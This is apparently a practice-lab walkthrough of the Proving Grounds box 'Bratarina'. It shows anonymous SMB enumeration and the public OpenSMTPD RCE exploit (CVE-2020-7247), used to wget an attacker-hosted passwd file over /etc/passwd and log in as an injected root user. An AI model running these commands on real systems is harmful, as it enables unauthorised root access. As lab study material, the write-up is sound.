Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🟦

Bratarina — Proving Grounds (192.168.231.71)

rustscan -a 192.168.231.71 -- -A

#proving grounds#pg#walkthrough#boxes#os:linux#tech:rce#tech:cve

Bratarina — Proving Grounds (192.168.231.71)

Port Scan

🐺 howlsec@kali
$rustscan -a 192.168.231.71 -- -A
$ 
$22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu
$25/tcp  open  smtp        OpenSMTPD
$80/tcp  open  http        nginx 1.14.0 (FlaskBB - "Page not found")
$445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)

SMB (445) - anonymous / null session

🐺 howlsec@kali
$smbmap -H $target          # backups share READ ONLY (NULL Session)
$smbclient -N -L //$target   # shares: backups, IPC$
$smbclient //$target/backups -U    # anonymous login
$get passwd.bak
$# passwd.bak contains all local users (root, neil, postgres, _smtpd, ...)
$cut -d ':' -f 1 passwd.bak > user

Foothold via SMTP - OpenSMTPD RCE (CVE-2020-7247)

🐺 howlsec@kali
$nc -nvv $target 25          # 220 bratarina ESMTP OpenSMTPD
$searchsploit OpenSMTPD
$searchsploit -m linux/remote/47984.py   # OpenSMTPD 6.6.1 RCE, CVE-2020-7247
$ 
$# Confirm command execution
$python3 47984.py $target 25 'whoami'
$# Reverse shells over nc would not connect back, so abuse the RCE to overwrite /etc/passwd.

Create a new root user locally, host it, and pull it onto the target via the RCE:

🐺 howlsec@kali
$openssl passwd w00t
$# $1$oJ5sn0sL$JkmSjeAruKpDmB9XaBSNz1
$echo 'root2:$1$oJ5sn0sL$JkmSjeAruKpDmB9XaBSNz1:0:0:root:/root:/bin/bash' >> passwd.bak
$python3 -m http.server 80   # serve passwd.bak
$python3 47984.py 192.168.231.71 25 'wget -O /etc/passwd 192.168.45.203/passwd.bak'
$ 
$# Log in as the injected root user
$ssh root2@$target   # password: w00t
$root@bratarina:~# cat /root/proof.txt
$f43291105ce68362bb60819ad17a695a